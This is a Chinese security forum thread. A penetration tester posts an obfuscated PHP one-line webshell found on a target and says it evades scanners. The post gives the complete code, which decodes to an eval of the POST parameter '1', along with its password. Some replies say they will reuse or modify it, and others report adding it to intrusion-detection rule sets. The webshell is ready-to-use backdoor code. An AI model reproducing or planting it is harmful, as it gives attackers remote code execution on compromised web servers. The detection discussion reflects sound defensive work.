导航

在渗透的时候 发现的前人的PHP一句话马(过河马webshell查杀)

#1
<?php $iKgV=create_function(base64_decode('JA==').chr(351-236).str_rot13('b').chr(0110461/0525).base64_decode('ZQ=='),chr(0160175/01071).chr(0252430/01344).base64_decode('YQ==').base64_decode('bA==').chr(0x7a08/0x30d).chr(279-243).chr(0x13bcd/0x2bf).chr(0x35e-0x2ef).str_rot13('z').str_rot13('r').chr(0x7ff7/0x31f).base64_decode('Ow=='));$iKgV(base64_decode('Mzc1N'.'jM4O0'.'BldkF'.'sKCRf'.''.chr(0x2d4-0x27f).str_rot13('R').chr(0x1f9-0x1c0).str_rot13('G').chr(0x3b5-0x35f).''.''.base64_decode('Rg==').chr(0xf1ae/0x21a).base64_decode('eA==').chr(0x36d-0x315).chr(0162100/01300).''.'k7MTE'.'yNjkx'.'NDs='.''));?>

密码为1

用的是CreatFunction创建匿名函数
解密后是
create_function("eval($some);","@evAl($_POST[1]);");附图一张

啾啾啾啾啾~
2023-02-10
#2
哈哈,嫖了
Oc
2023-02-10
#3
收到,已加入hids规则库
凡人看山不是山
2023-02-10
#4
回复 3# PolarPeak


牛,但你这是哪家hids,我刚刚试了,有hids能检测到
2023-02-11
#5
拿过来随便改改还能继续用
2023-02-11
#6
自定义函数,改变一下还能过很多检测的
2023-02-11
#7
回复 6# xiaoyu



    我刚测了一下 这个过不了d盾
2023-02-13
#8
回复 4# fogfog



    甲方内部自研的引擎
2023-02-14
#9
回复 8# PolarPeak

Soga,坛子的webshell都可以搜集一下哈哈哈  动态对抗
2023-02-14
#10
回复 9# fogfog



    基本上全加规则了,自研引擎+商业引擎。